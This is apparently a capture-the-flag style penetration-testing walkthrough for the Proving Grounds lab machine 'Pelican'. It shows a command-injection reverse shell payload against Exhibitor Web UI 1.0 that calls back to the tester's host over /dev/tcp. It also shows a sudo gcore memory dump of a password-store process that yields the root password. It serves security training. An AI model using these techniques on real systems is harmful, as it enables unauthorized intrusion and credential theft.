> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/get-to-work/pelican.md).

# Pelican

## Service Enumeration

`nmapAutomator.sh -H 192.168.237.98 -t full`

`nmapAutomator.sh -H 192.168.237.98 -t vulns`

![](/files/-MadOrUVhdwOZ3K56gFR)

## Exploitation

Going to port 8081 redirects us to this page at port 8080.

![](/files/-MadOwjywhn3GMYN6N6c)

This is an Exhibitor Web UI. We can see from the top right corner of the page that the version is 1.0, which is vulnerable to an OS command injection vulnerability: <https://www.exploit-db.com/exploits/48654>.

In the Config tab, the `java.env script` field can be used to execute arbitrary commands. For instance, we can trigger a reverse shell with `$(bash -i >& /dev/tcp/192.168.49.237/4242 0>&1)`

![](/files/-MadQ2XXme5OcxY2vrYb)

Catching the reverse shell:

![](/files/-MadV2GB7vcl89vbbKds)

Proof:

![](/files/-MadV5Hau-qfJWMtn2wD)

## Privilege Escalation

From the LinPEAS output, we find that `root` runs a binary `/usr/bin/password-store`. We don't have permissions to run this, but it looks interesting.

![](/files/-MadV8g-1cItAEeCPiO-)

Now, we find that we can run `gcore` as root with no password.

![](/files/-MadVBT99Lxw30iBqysL)

Reference: <https://wiki.sentnl.io/security/hacking-demos/getting-passwords-of-logged-in-users>

`gcore` creates a core dump of a running process. A core file or core dump is a file that records the memory image of a running process and its process status.

Using `ps -ef | grep password-store`, we find that the process ID is 493. Then, we can run `gcore` as `sudo` to create a core dump of the process.

![](/files/-MadVEP4ajiV78Q-nL5H)

In the strings output (`strings core.493`), we find something interesting.

![](/files/-MadVIJ4yTOnay7EiehY)

Using this root password, we successfully authenticate as root.

![](/files/-MadVLblxDpkDpsAcZDD)

![](/files/-MadVQ-OYMzyUuTPc5ei)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://pentesting.zeyu2001.com/proving-grounds/get-to-work/pelican.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
